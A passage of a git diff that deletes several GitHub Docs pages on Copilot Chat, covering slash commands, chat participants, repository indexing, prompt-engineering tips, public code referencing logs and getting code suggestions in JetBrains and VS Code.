`#class` | Includes the current class in the prompt. | -| `#comment` | Includes the current comment in the prompt. | -| `#file` | Includes the current file's content in the prompt. | -| `#function` | Includes the current function or method in the prompt. | -| `#line` | Includes the current line of code in the prompt. | -| `#path` | Includes the file path in the prompt. | -| `#project` | Includes the project context in the prompt. | -| `#selection` | Includes the currently selected text in the prompt. | -| `#sym` | Includes the current symbol in the prompt. | - -## Chat participants - -Chat participants are like domain experts who have a specialty that they can help you with. You can specify a chat participant by typing `@` in the chat prompt box, followed by a chat participant name. To see all available chat participants, type `@` in the chat prompt box. - -Below is a list of some of the most common chat participants for using {% data variables.product.prodname_copilot_chat_short %}. - -| Variable | Description | -|--------------|----------------------------------------------------------------------------------------------| -| `@azure` | Has context about Azure services and how to use, deploy and manage them. Use `@azure` when you want help with Azure. The `@azure` chat participant is currently in {% data variables.release-phases.public_preview %} and is subject to change. | -| `@github` | Allows you to use {% data variables.product.github %}-specific {% data variables.product.prodname_copilot_short %} skills. See [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide#using-github-skills-for-copilot). | -| `@terminal` | Has context about the {% data variables.product.prodname_vscode %} terminal shell and its contents. Use `@terminal` when you want help creating or debugging terminal commands. | -| `@vscode` | Has context about {% data variables.product.prodname_vscode %} commands and features. Use `@vscode` when you want help with {% data variables.product.prodname_vscode %}. | -| `@workspace` | Has context about the code in your workspace. Use `@workspace` when you want {% data variables.product.prodname_copilot_short %} to consider the structure of your project, how different parts of your code interact, or design patterns in your project. | - -{% endvscode %} - -{% visualstudio %} - -This version of this article is for {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_vs %}. For other versions of this article, click the tabs above. - -{% data reusables.copilot.about-copilot-enhancements %} - -For information about how to get started with {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vs %}, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide). - -## Slash commands - -Use slash commands to avoid writing complex prompts for common scenarios. To use a slash command, type `/` in the chat prompt box, followed by the command name. - -Available slash commands may vary, depending on your environment and the context of your chat. To view a list of currently available slash commands, type `/` in the chat prompt box of your current environment. Below is a list of some of the most common slash commands for using {% data variables.product.prodname_copilot_chat_short %}. - -| Command | Description | -| --- | --- | -| `/doc` | Add documentation comment for this symbol. | -| `/explain` | Explain how the code in your active editor works. | -| `/fix` | Propose a fix for problems in the selected code. | -| `/help` | Quick reference and basics of using {% data variables.product.prodname_copilot %}. | -| `/optimize` | Analyze and improve running time of the selected code. | -| `/tests` | Generate unit tests for the selected code. | - -## References - -By default, {% data variables.product.prodname_copilot_chat_short %} will reference the file that you have open or the code that you have selected. You can also use # followed by a file name, file name and line numbers, or solution to reference a specific file, lines, or solution. - -| Example | Description | -| --- | --- | -| `Where are the tests in #MyFile.cs?` | References a specific file | -| `How are these files related #MyFile.cs #MyFile2.cs` | References multiple files | -| `Explain this function #MyFile.cs: 66-72?` | References specific lines in a file | -| `Is there a delete method in this #solution?` | References the current file | - -{% endvisualstudio %} - -{% jetbrains %} - -This version of this article is for {% data variables.product.prodname_copilot_short %} in JetBrains. For other versions of this article, click the tabs above. - -{% data reusables.copilot.about-copilot-enhancements %} - -For information about how to get started with {% data variables.product.prodname_copilot_chat_short %} in JetBrains, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide). - -## Slash commands - -Use slash commands to avoid writing complex prompts for common scenarios. To use a slash command, type `/` in the chat prompt box, followed by the command name. - -Available slash commands may vary, depending on your environment and the context of your chat. To view a list of currently available slash commands, type `/` in the chat prompt box of your current environment. Below is a list of some of the most common slash commands for using {% data variables.product.prodname_copilot_chat_short %}. - -| Command | Description | -| --- | --- | -| `/explain` | Explain how the code in your active editor works. | -| `/fix` | Propose a fix for problems in the selected code. | -| `/help` | Quick reference and basics of using {% data variables.product.prodname_copilot %}. | -| `/tests` | Generate unit tests for the selected code. | - -## Chat participants - -Chat participants are like domain experts who have a specialty that they can help you with. You can specify a chat participant by typing `@` in the chat prompt box, followed by a chat participant name. To see all available chat participants, type `@` in the chat prompt box. - -Commonly used chat participants include: - -| Variable | Description | -|--------------|----------------------------------------------------------------------------------------------| -| `@github` | Allows you to use {% data variables.product.github %}-specific {% data variables.product.prodname_copilot_short %} skills. See [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide#using-github-skills-for-copilot-1). | -| `@project` | Has context about the code in your project. Use `@project` when you want {% data variables.product.prodname_copilot_short %} to consider all of the files in your project when it answers your question. | - -{% endjetbrains %} - -{% xcode %} - -This version of this article is for {% data variables.product.prodname_copilot_short %} in Xcode. For other versions of this article, click the tabs above. - -{% data reusables.copilot.about-copilot-enhancements %} - -For information about how to get started with {% data variables.product.prodname_copilot_chat_short %} in Xcode, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide). - -## Slash commands - -Use slash commands to avoid writing complex prompts for common scenarios. To use a slash command, type `/` in the chat prompt box, followed by the command name. - -Available slash commands may vary, depending on your environment and the context of your chat. To view a list of currently available slash commands, type `/` in the chat prompt box of your current environment. Below is a list of the slash commands for using {% data variables.product.prodname_copilot_chat_short %}. - -| Command | Description | -|-------------|----------------------------------------------------| -| `/doc` | Generate documentation for this symbol. | -| `/explain` | Provide an explanation for the selected code. | -| `/fix` | Suggest fixes for code errors and typos. | -| `/simplify` | Simplify the current code selection. | -| `/tests` | Create a unit test for the current code selection. | - -{% endxcode %} diff --git a/content/copilot/using-github-copilot/copilot-chat/index.md b/content/copilot/using-github-copilot/copilot-chat/index.md deleted file mode 100644 index 209aa5231593..000000000000 --- a/content/copilot/using-github-copilot/copilot-chat/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Copilot Chat -intro: "Learn how to use {% data variables.product.prodname_copilot_chat_short %} across different environments." -versions: - feature: copilot -topics: - - Copilot -children: - - /asking-github-copilot-questions-in-your-ide - - /asking-github-copilot-questions-in-github - - /asking-github-copilot-questions-in-github-mobile - - /getting-started-with-prompts-for-copilot-chat - - /indexing-repositories-for-copilot-chat - - /prompt-engineering-for-copilot-chat - - /github-copilot-chat-cheat-sheet ---- diff --git a/content/copilot/using-github-copilot/copilot-chat/indexing-repositories-for-copilot-chat.md b/content/copilot/using-github-copilot/copilot-chat/indexing-repositories-for-copilot-chat.md deleted file mode 100644 index 89f24baec2f7..000000000000 --- a/content/copilot/using-github-copilot/copilot-chat/indexing-repositories-for-copilot-chat.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Indexing repositories for Copilot Chat -shortTitle: Semantic indexing -intro: '{% data variables.product.prodname_copilot_chat %} improves responses to questions about code by indexing your repositories.' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/customizing-copilot-for-your-organization/indexing-repositories-for-copilot-chat - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/enhancing-copilot-for-your-organization/indexing-repositories-for-copilot-chat - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/indexing-repositories-for-copilot-chat - - /copilot/customizing-copilot/indexing-repositories-for-copilot-chat - - /copilot/using-github-copilot/indexing-repositories-for-copilot-chat ---- - -## Benefit of indexing repositories - -{% data variables.product.prodname_copilot_chat_short %}'s ability to answer natural language questions in a repository context is optimized when the semantic code search index for the repository is up to date. - -When you start a conversation with {% data variables.product.prodname_copilot_chat_short %} that has a repository context, the repository is automatically indexed to improve context-enriched answers to your questions about the code's structure and logic in {% data variables.product.github %} and {% data variables.product.prodname_vscode %}. For example, you can ask **“How does this repo manage HTTP requests and responses?”** and {% data variables.product.prodname_copilot_chat_short %} will reference relevant sections of your code to deliver an informed answer. - -**{% data variables.product.prodname_copilot_chat_short %} will not use your indexed repository for model training.** - -For more information on how to ask questions, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-github). - -## About index creation and use - -Indexing runs in the background and initial indexing can take up to 60 seconds for a large repository. Once a repository has been indexed for the first time, re-indexing is much quicker and the index will typically be automatically updated to include the latest changes within seconds of you starting a new conversation. - -Once an index has been created for a repository, {% data variables.product.prodname_copilot_chat_short %} uses it to answer questions asked by any {% data variables.product.prodname_copilot_short %} user in {% data variables.product.github %} and {% data variables.product.prodname_vscode %}. - -> [!TIP] There is no limit to how many repositories you can index. - -## Excluding content from {% data variables.product.prodname_copilot_chat_short %} answers - -Enterprise or organization owners with a {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %} plan can define content exclusions to control the behavior of {% data variables.product.prodname_copilot %} for the {% data variables.product.prodname_copilot_short %} seats they manage. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/excluding-content-from-github-copilot). - -If a semantic code search index is created for a repository that is included in a content exclusion policy, data is filtered according to the policy before being passed to {% data variables.product.prodname_copilot_chat_short %}. diff --git a/content/copilot/using-github-copilot/copilot-chat/prompt-engineering-for-copilot-chat.md b/content/copilot/using-github-copilot/copilot-chat/prompt-engineering-for-copilot-chat.md deleted file mode 100644 index cd6db08ec6d0..000000000000 --- a/content/copilot/using-github-copilot/copilot-chat/prompt-engineering-for-copilot-chat.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Prompt engineering for Copilot Chat -shortTitle: Prompt engineering -intro: 'Follow these strategies to improve your {% data variables.product.prodname_copilot_short %} results.' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /copilot/using-github-copilot/prompt-engineering-for-github-copilot ---- - -A prompt is a request that you make to {% data variables.product.prodname_copilot %}. For example, a question that you ask {% data variables.product.prodname_copilot_chat_short %}, or a code snippet that you ask {% data variables.product.prodname_copilot_short %} to complete. In addition to your prompt, {% data variables.product.prodname_copilot_short %} uses additional context, like the code in your current file and the chat history, to generate a response. - -Follow the tips in this article to write prompts that generate better responses from {% data variables.product.prodname_copilot_short %}. - -## Start general, then get specific - -When writing a prompt for {% data variables.product.prodname_copilot_short %}, first give {% data variables.product.prodname_copilot_short %} a broad description of the goal or scenario. Then list any specific requirements. - -For example: - -> Write a function that tells me if a number is prime -> -> The function should take an integer and return true if the integer is prime -> -> The function should error if the input is not a positive integer - -## Give examples - -Use examples to help {% data variables.product.prodname_copilot_short %} understand what you want. You can provide example input data, example outputs, and example implementations. - -For example: - -> Write a function that finds all dates in a string and returns them in an array. Dates can be formatted like: -> -> * 05/02/24 -> * 05/02/2024 -> * 5/2/24 -> * 5/2/2024 -> * 05-02-24 -> * 05-02-2024 -> * 5-2-24 -> * 5-2-2024 -> -> Example: -> -> findDates("I have a dentist appointment on 11/14/2023 and book club on 12-1-23") -> -> Returns: ["11/14/2023", "12-1-23"] - -Unit tests can also serve as examples. Before writing your function, you can use {% data variables.product.prodname_copilot_short %} to write unit tests for the function. Then, you can ask {% data variables.product.prodname_copilot_short %} to write a function described by those unit tests. - -## Break complex tasks into simpler tasks - -If you want {% data variables.product.prodname_copilot_short %} to complete a complex or large task, break the task into multiple simple, small tasks. - -For example, instead of asking {% data variables.product.prodname_copilot_short %} to generate a word search puzzle, break the process down into smaller tasks, and ask {% data variables.product.prodname_copilot_short %} to accomplish them one by one: - -* Write a function to generate a 10 by 10 grid of letters. -* Write a function to find all words in a grid of letters, given a list of valid words. -* Write a function that uses the previous functions to generate a 10 by 10 grid of letters that contains at least 10 words. -* Update the previous function to print the grid of letters and 10 random words from the grid. - -## Avoid ambiguity - -Avoid ambiguous terms. For example, don’t ask "what does this do" if "this" could be the current file, the last {% data variables.product.prodname_copilot_short %} response, or a specific code block. Instead, be specific: - -* What does the `createUser` function do? -* What does the code in your last response do? - -Ambiguity can also apply to libraries: - -* If you are using an uncommon library, describe what the library does. -* If you want to use a specific library, set the import statements at the top of the file or specify what library you want to use. - -## Indicate relevant code - -If you are using {% data variables.product.prodname_copilot_short %} in your IDE to get suggestions as you code, open any relevant files and close irrelevant files. {% data variables.product.prodname_copilot_short %} will use the open files to understand your request. - -If you are using {% data variables.product.prodname_copilot_chat_short %} in your IDE, open the file or highlight the code that you want {% data variables.product.prodname_copilot_short %} to reference. You can also use keywords to manually supply context to {% data variables.product.prodname_copilot_chat_short %}. For example, you can add the `@workspace` chat participant in VS Code, or `@project` in JetBrains IDEs. See [AUTOTITLE](/copilot/using-github-copilot/github-copilot-chat-cheat-sheet). - -## Experiment and iterate - -If you don’t get the result that you want, iterate on your prompt and try again. - -If you are using {% data variables.product.prodname_copilot_short %} to get suggestions as you code, you can delete the suggestion entirely and start over. Or you can keep the suggestion and request modifications. - -If you are using {% data variables.product.prodname_copilot_chat_short %}, you can reference the previous response in your next request. Or, you can delete the previous response and start over. - -## Keep history relevant - -{% data variables.product.prodname_copilot_chat_short %} uses the chat history to get context about your request. To give {% data variables.product.prodname_copilot_short %} only the relevant history: - -* Use threads to start a new conversation for a new task -* Delete requests that are no longer relevant or that didn’t give you the desired result - -## Follow good coding practices - -If you aren't getting the responses you want when you ask {% data variables.product.prodname_copilot_short %} for suggestions or explanations in your codebase, make sure that your existing code follows best practices and is easy to read. For example: - -* Use a consistent code style and patterns -* Use descriptive names for variables and functions -* Comment your code -* Structure your code into modular, scoped components -* Include unit tests - ->[!Tip] -> Use {% data variables.product.prodname_copilot_short %} to help your code follow best practices. For example, ask {% data variables.product.prodname_copilot_short %} to add comments or to break a large function into smaller functions. - -{% ifversion ghec %} - -Similarly, if you aren't getting the responses you want when you use {% data variables.product.prodname_copilot_short %} with knowledge bases, apply these best practices to your knowledge base files: - -* Organize the files into a logical hierarchy -* Use clear and concise language -* Include examples and use cases, if relevant -* Cross reference between related files - -{% endif %} - -## Further reading - -* [How to use GitHub Copilot: Prompts, tips, and use cases](https://github.blog/2023-06-20-how-to-write-better-prompts-for-github-copilot/) in the {% data variables.product.company_short %} blog -* [Using GitHub Copilot in your IDE: Tips, tricks, and best practices](https://github.blog/2024-03-25-how-to-use-github-copilot-in-your-ide-tips-tricks-and-best-practices/) in the {% data variables.product.company_short %} blog -* [A developer’s guide to prompt engineering and LLMs](https://github.blog/2023-07-17-prompt-engineering-guide-generative-ai-llms/) in the {% data variables.product.company_short %} blog -* [Prompting GitHub Copilot Chat to become your personal AI assistant for accessibility](https://github.blog/2023-10-09-prompting-github-copilot-chat-to-become-your-personal-ai-assistant-for-accessibility/) in the {% data variables.product.company_short %} blog diff --git a/content/copilot/using-github-copilot/finding-public-code-that-matches-github-copilot-suggestions.md b/content/copilot/using-github-copilot/finding-public-code-that-matches-github-copilot-suggestions.md deleted file mode 100644 index ef19c96e8a77..000000000000 --- a/content/copilot/using-github-copilot/finding-public-code-that-matches-github-copilot-suggestions.md +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: Finding public code that matches GitHub Copilot suggestions -shortTitle: Find matching code -intro: 'If you allow {% data variables.product.prodname_copilot %} to make suggestions that match publicly available code, {% data variables.product.prodname_copilot_short %} will display references to any matching code that is found.' -defaultTool: vscode -redirect_from: - - /early-access/copilot/code-referencing-in-github-copilot -topics: - - Copilot -versions: - feature: copilot ---- - - -{% jetbrains %} - -This version of this article is for {% data variables.product.prodname_copilot_short %} in JetBrains IDEs. For {% data variables.product.prodname_copilot_short %} on other platforms, click the appropriate tab above. - -{% endjetbrains %} - -{% vscode %} - -This version of this article is for {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_vscode %}. For {% data variables.product.prodname_copilot_short %} on other platforms, click the appropriate tab above. - -{% endvscode %} - -{% webui %} - -This version of this article is for {% data variables.product.prodname_copilot_short %} on the {% data variables.product.github %} website. For {% data variables.product.prodname_copilot_short %} on other platforms, click the appropriate tab above. - -{% endwebui %} - -## Limitations - -References to matching code are currently only available in JetBrains IDEs, {% data variables.product.prodname_vscode %}, and on the {% data variables.product.github %} website. - -## Prerequisites - -References to matching code are only generated if {% data variables.product.prodname_copilot_short %} is configured to allow suggestions that match publicly available code. This is configured in either your personal{% ifversion ghec %},{% else %} or {% endif %} organization{% ifversion ghec %} or enterprise{% endif %} settings. For more information, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-your-personal-github-copilot-settings-on-githubcom#enabling-or-disabling-suggestions-matching-public-code){% ifversion ghec %},{% else %} or {% endif %} [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization#policies-for-suggestion-matching){% ifversion ghec %} or [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise){% endif %}. - -## About code referencing in {% data variables.product.prodname_copilot %} - -{% jetbrains %} - -{% data reusables.copilot.about-code-referencing %} - -{% endjetbrains %} - -{% vscode %} - -{% data reusables.copilot.about-code-referencing %} - -{% endvscode %} - -{% webui %} - -If you've allowed suggestions that match public code, then whenever a response from {% data variables.product.prodname_copilot_chat_short %} includes matching code, details of the matches will be included in the response. - -{% endwebui %} - -This feature is called code referencing. - -{% jetbrains %} - -### Code referencing for {% data variables.product.prodname_copilot_short %} code completion - -When you accept a code completion suggestion that matches code in a public {% data variables.product.prodname_dotcom %} repository, an entry is added to the JetBrains log. The log entry includes the URLs of files containing matching code, and the name of the license that applies to that code, if any was found. This allows you to review these references and decide how to proceed. For example, you can decide what attribution to use, or whether you want to remove this code from your project. - -{% data reusables.copilot.code-referencing-note %} - -### Code referencing for {% data variables.product.prodname_copilot_chat_short %} - -{% data reusables.copilot.code-referencing-in-chat %} - -{% endjetbrains %} - -{% webui %} - -> [!NOTE] -> Typically, matches to public code occur infrequently, so you should not expect to see code references in many {% data variables.product.prodname_copilot_chat_short %} responses. - -{% endwebui %} - -{% vscode %} - -### Code referencing for {% data variables.product.prodname_copilot_short %} code completion - -When you accept a code completion suggestion that matches code in a public {% data variables.product.prodname_dotcom %} repository, an entry is added to a {% data variables.product.prodname_copilot %} log. The log entry includes a link to a page on {% data variables.product.prodname_dotcom_the_website %} where you can view references to similar code in public {% data variables.product.prodname_dotcom %} repositories. - -The linked web page includes details of any license identified for the repository where the matching code was found. Having reviewed the references, you can decide how to proceed. For example, you can decide what attribution to use, or whether you want to remove this code from your project. - -{% data reusables.copilot.code-referencing-note %} - -### Code referencing for {% data variables.product.prodname_copilot_chat_short %} - -{% data reusables.copilot.code-referencing-in-chat %} - -{% endvscode %} - -### How code referencing finds matching code - -{% data variables.product.prodname_copilot_short %} code referencing searches for matches by taking the code suggestion, plus some of the code that will surround the suggestion if it is accepted, and comparing it against an index of all public repositories on {% data variables.product.prodname_dotcom_the_website %}. Code in private {% data variables.product.prodname_dotcom %} repositories, or code outside of {% data variables.product.prodname_dotcom %}, is not included in the search process. The search index is refreshed every few months. As a result, newly committed code, and code from public repositories deleted before the index was created, may not be included in the search. For the same reason, the search may return matches to code that has been deleted or moved since the index was created. - -{% jetbrains %} - -## View code references for code completion - -You can view code references in the log file for your JetBrains IDE. - -1. In your JetBrains IDE, select **Help** > **Show Log in Finder/Explorer**. - - The log file is displayed in your file manager. For example, for IntelliJ IDEA the log file is called `idea.log`. - -1. Open the log file in your JetBrains IDE. -1. Search for "[Public Code References]." - -### Example log entry - -```text -2025-02-26 09:22:12,045 [5581906] INFO - #copilot - [Public Code References] Text found matching public code in file:///Users/mona-lisa/git-repos/test-repo/fizzbuzz.js [Ln 1, Col 10] near fizzBuzz() ...: - 1) [NOASSERTION] https://github.com/nixsticks/todos/blob/ae427a721c7784da64a619ba17f60637fe1cc819/Loops/fizzbuzz/fizzbuzz.js - 2) [GPL-3.0] https://github.com/voloslg/algocasts/blob/34b423517486f908ca167b390d3b8bd05653829f/exercises/fizzbuzz/index.js -``` - -The log entry includes the following details: - -* The date and time you accepted the suggestion. -* A "Public Code References" message telling you that matching code was found. -* The path to the file in which the suggestion was added. -* The line and column number where the suggestion was added. -* A list of matches, including: - * The license type for the matching code—or `NOASSERTION` if no license was found. - * The URL of the file on {% data variables.product.prodname_dotcom_the_website %} where the matching code was found. - -### Verifying the code referencing functionality - -You can verify that code referencing is working by prompting {% data variables.product.prodname_copilot_short %} to add some commonly used code and checking the output in the log file for your IDE. - -1. Display the log file for your JetBrains IDE, as described in the previous section. -1. Create a file called `fizz-buzz.js` and open it in the JetBrains editor. -1. In the editor, type: - - ```javascript - function fizzBuzz() - ``` - - With a space after the closing parenthesis. - - {% data variables.product.prodname_copilot %} should suggest code to complete the function. Typically the suggestion will be a common implementation of the fizz buzz algorithm that will match publicly available code on the {% data variables.product.github %} website. - -1. Accept the suggestion by pressing <kbd>Tab</kbd>. -1. Check whether a "[Public Code References]" entry has been added to the log file. - -{% endjetbrains %} - -{% vscode %} - -## View code references for code completion - -You can access code references from one of the {% data variables.product.prodname_copilot %} logs in {% data variables.product.prodname_vscode %}. - -1. In {% data variables.product.prodname_vscode %}, open the **Output** window by selecting **View** > **Output** from the menu bar. -1. In the dropdown menu at the right of the **Output** window, select **{% data variables.product.prodname_copilot %} Log**. - - ![Screenshot of the Output window with "{% data variables.product.prodname_copilot %} Log" selected from the dropdown menu.](/assets/images/help/copilot/copilot-log-selected.png) - -1. Leave the **{% data variables.product.prodname_copilot %} Log** view displayed while you use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}. - - When you accept a code completion suggestion that matches code in a public {% data variables.product.prodname_dotcom %} repository, an entry is added to the log. - - The log entry includes the following details: - - * The date and time you accepted the suggestion. - * The name of the file in which the suggestion was added. - * A message telling you that similar code was found, with the number and type of licenses. - * A link to a page on {% data variables.product.prodname_dotcom_the_website %}. - * The location in the file where the suggestion was added. - * A snippet of part of the code that was suggested and added. - - ![Screenshot of the Output window showing a code referencing log entry.](/assets/images/help/copilot/copilot-code-referencing-log.png) - - > [!NOTE] The {% data variables.product.prodname_copilot %} log is flushed when you close the editor. - -1. In the log entry, <kbd>Ctrl</kbd>+click (Windows/Linux) or <kbd>Command</kbd>+click (Mac) the link to view the code references on {% data variables.product.prodname_dotcom_the_website %}. - - The page lists the matches that were found, showing an excerpt from the relevant file. You can click on the file name to view the whole file. - - ![Screenshot of code references listed on {% data variables.product.prodname_dotcom_the_website %}.](/assets/images/help/copilot/code-references-webpage.png) - - Matches may be found in multiple repositories with different, sometimes conflicting, licenses. You can use the checkboxes on the left of the page to show only the matches associated with a particular license. - - You should review all license information within a repository to verify that it applies to the matching code, as repositories may contain multiple licenses and these licenses are subject to human and non-human error. - - > [!NOTE] The web page displaying the full set of details will remain available for three months. - -### Verifying the code referencing functionality - -You can verify that code referencing is working by prompting {% data variables.product.prodname_copilot_short %} to add some commonly used code and checking the output in the {% data variables.product.prodname_copilot_short %} log. - -1. In {% data variables.product.prodname_vscode %}, create a file called `fizz-buzz.js`. -1. Open the **Output** window by selecting **View** > **Output** from the menu bar. -1. In the dropdown menu at the right of the **Output** window, select **{% data variables.product.prodname_copilot %} Log**. -1. In the editor, type: - - ```javascript - function fizzBuzz() - ``` - - With a space after the closing parenthesis. - - {% data variables.product.prodname_copilot %} should suggest code to complete the function. Typically the suggestion will be a common implementation of the fizz buzz algorithm that will match publicly available code on the {% data variables.product.github %} website. - -1. Accept the suggestion by pressing <kbd>Tab</kbd>. - - If code referencing finds a match to public code, a log entry is added to the **{% data variables.product.prodname_copilot %} Log** view. - -{% endvscode %} - -## View code references for {% data variables.product.prodname_copilot_chat_short %} - -{% jetbrains %} - -{% data reusables.copilot.viewing-code-references-in-chat %} - -{% endjetbrains %} - -{% vscode %} - -{% data reusables.copilot.viewing-code-references-in-chat %} - -{% endvscode %} - -{% webui %} - -When {% data variables.product.prodname_copilot_chat_short %} provides a response that includes code that matches code in a public {% data variables.product.prodname_dotcom %} repository, this is indicated beneath the code suggestion: - -> < > Public code references from _n_ repositories - -To see details of the matching code: - -1. Click the "Public code references..." text, under the code suggestion. - - A list of {% data variables.product.github %} repositories containing matching code is displayed in a dropdown, together with licensing information, if found. - - ![Screenshot of a code completion suggestion in {% data variables.product.prodname_copilot_chat_short %} with a link to view code references.](/assets/images/help/copilot/code-reference-dotcom.png) - -1. Click the name of a repository to display that repository on {% data variables.product.prodname_dotcom_the_website %}. - -{% endwebui %} diff --git a/content/copilot/using-github-copilot/getting-code-suggestions-in-your-ide-with-github-copilot.md b/content/copilot/using-github-copilot/getting-code-suggestions-in-your-ide-with-github-copilot.md deleted file mode 100644 index 6866ddc99d18..000000000000 --- a/content/copilot/using-github-copilot/getting-code-suggestions-in-your-ide-with-github-copilot.md +++ /dev/null @@ -1,588 +0,0 @@ ---- -title: Getting code suggestions in your IDE with GitHub Copilot -shortTitle: Get code suggestions -intro: 'Use {% data variables.product.prodname_copilot %} to get code suggestions in your editor.' -redirect_from: - - /copilot/getting-started-with-github-copilot - - /github/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code - - /github/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide - - /github/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim - - /github/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio - - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code - - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide - - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim - - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio - - /copilot/using-github-copilot/getting-started-with-github-copilot - - /copilot/using-github-copilot/using-github-copilot-code-suggestions-in-your-editor -versions: - feature: copilot -defaultTool: vscode -topics: - - Copilot ---- - -<style> -.button-container { - display: flex; - gap: 10px; -} -</style> - -<div class="button-container"> - <a href="https://github.com/copilot?ref_cta=Copilot+free&ref_loc=getting+started+with+github+copilot&ref_page=docs" target="_blank" class="btn btn-primary mt-3 mr-3 no-underline"> - <span>Get started for free</span> {% octicon "link-external" height:16 %} - </a> - {% vscode %} - <a href="vscode://GitHub.Copilot-Chat" target="_blank" class="btn btn-primary mt-3 mr-3 no-underline"> - <span>Open in {% data variables.product.prodname_vscode %}</span> {% octicon "link-external" height:16 %} - </a> - {% endvscode %} -</div> - -{% jetbrains %} - -## About {% data variables.product.prodname_copilot %} and JetBrains IDEs - -This guide demonstrates how to get coding suggestions from {% data variables.product.prodname_copilot %} in a JetBrains IDE. To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -The examples in this guide use Java, however other languages will work similarly. {% data reusables.copilot.supported-languages %} - -## Prerequisites - -* **Access to {% data variables.product.prodname_copilot_short %}**. To use {% data variables.product.prodname_copilot %} in JetBrains, you need either an active {% data variables.product.prodname_copilot_short %} subscription (such as {% data variables.product.prodname_copilot_pro_short %}, {% data variables.product.prodname_copilot_enterprise_short %}, or {% data variables.product.prodname_copilot_business_short %}) or access through {% data variables.product.prodname_copilot_free_short %}, which provides limited functionality. {% data reusables.copilot.subscription-prerequisite %} - -* **Compatible JetBrains IDE**. To use {% data variables.product.prodname_copilot %} in JetBrains, you must have a compatible JetBrains IDE installed. {% data variables.product.prodname_copilot %} is compatible with the following IDEs: - - {% data reusables.copilot.jetbrains-compatible-ides %} - -{% data reusables.copilot.jetbrains-plugin-prerequisites %} - -## Getting code suggestions - -{% data variables.product.prodname_copilot %} offers coding suggestions as you type. For example, in a Java file, create a class by typing `class Test`. - -{% data variables.product.prodname_copilot %} will automatically suggest a class body in grayed text. {% data reusables.copilot.accept-suggestion %} - -You can also describe something you want to do using natural language within a comment, and {% data variables.product.prodname_copilot_short %} will suggest the code to accomplish your goal. For example, type this comment in a Java file: - -```java copy -// find all images without alternate text -// and give them a red border -void process () { -``` - -{% data variables.product.prodname_copilot %} will automatically suggest code. {% data reusables.copilot.accept-suggestion %} - -{% data variables.product.prodname_copilot %} will attempt to match the context and style of your code. You can always edit the suggested code. - -> [!TIP] -> If you receive limited or no suggestions from {% data variables.product.prodname_copilot_short %}, you may have duplication detection enabled. For more information about duplication detection, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-your-personal-github-copilot-settings-on-githubcom#enabling-or-disabling-suggestions-matching-public-code). - -## Showing alternative suggestions - -{% data reusables.copilot.alternative-suggestions %} - -For example, type the following line in a Java file, and press <kbd>Enter</kbd>: - -{% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %} - -{% data variables.product.prodname_copilot %} will show you a suggestion. - -Now hover over the suggestion to show the {% data variables.product.prodname_copilot %} control for choosing suggestions. To display next or previous suggestions, click the forward or back arrow button in the control. - -You can also use keyboard shortcuts to show alternative suggestions: - -| OS | See next suggestion | See previous suggestion | -| :------ | :----------------------------- | :----------------------------- | -| macOS | <kbd>Option</kbd>+<kbd>]</kbd> | <kbd>Option</kbd>+<kbd>[</kbd> | -| Windows or Linux | <kbd>Alt</kbd>+<kbd>]</kbd> | <kbd>Alt</kbd>+<kbd>[</kbd> | - -{% data reusables.copilot.accept-or-reject-suggestion %} - -## Showing multiple suggestions in a new tab - -{% data reusables.copilot.suggestions-new-tab %} - -For example, type the following line in a Java file: - -{% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %} - -{% data variables.product.prodname_copilot %} will show you a suggestion. - -To open a new tab with multiple additional suggestions, use the following keyboard shortcut, then click **Open {% data variables.product.prodname_copilot %}**: - -| OS | Open multiple suggestions | -| :- | :- | -|macOS|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>A</kbd>| -|Windows or Linux |<kbd>Ctrl</kbd>+<kbd>Enter</kbd>| - -To accept a suggestion, below the suggestion, click **Accept suggestion NUMBER**. To reject all suggestions, close the tab. - -## Accepting partial suggestions - -If you don't want to accept an entire suggestion from {% data variables.product.prodname_copilot %}, you can accept the next word or the next line of a suggestion. - -For example, type the following line in a Java file: - -{% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %} - -{% data variables.product.prodname_copilot %} will show a suggestion in grayed text. 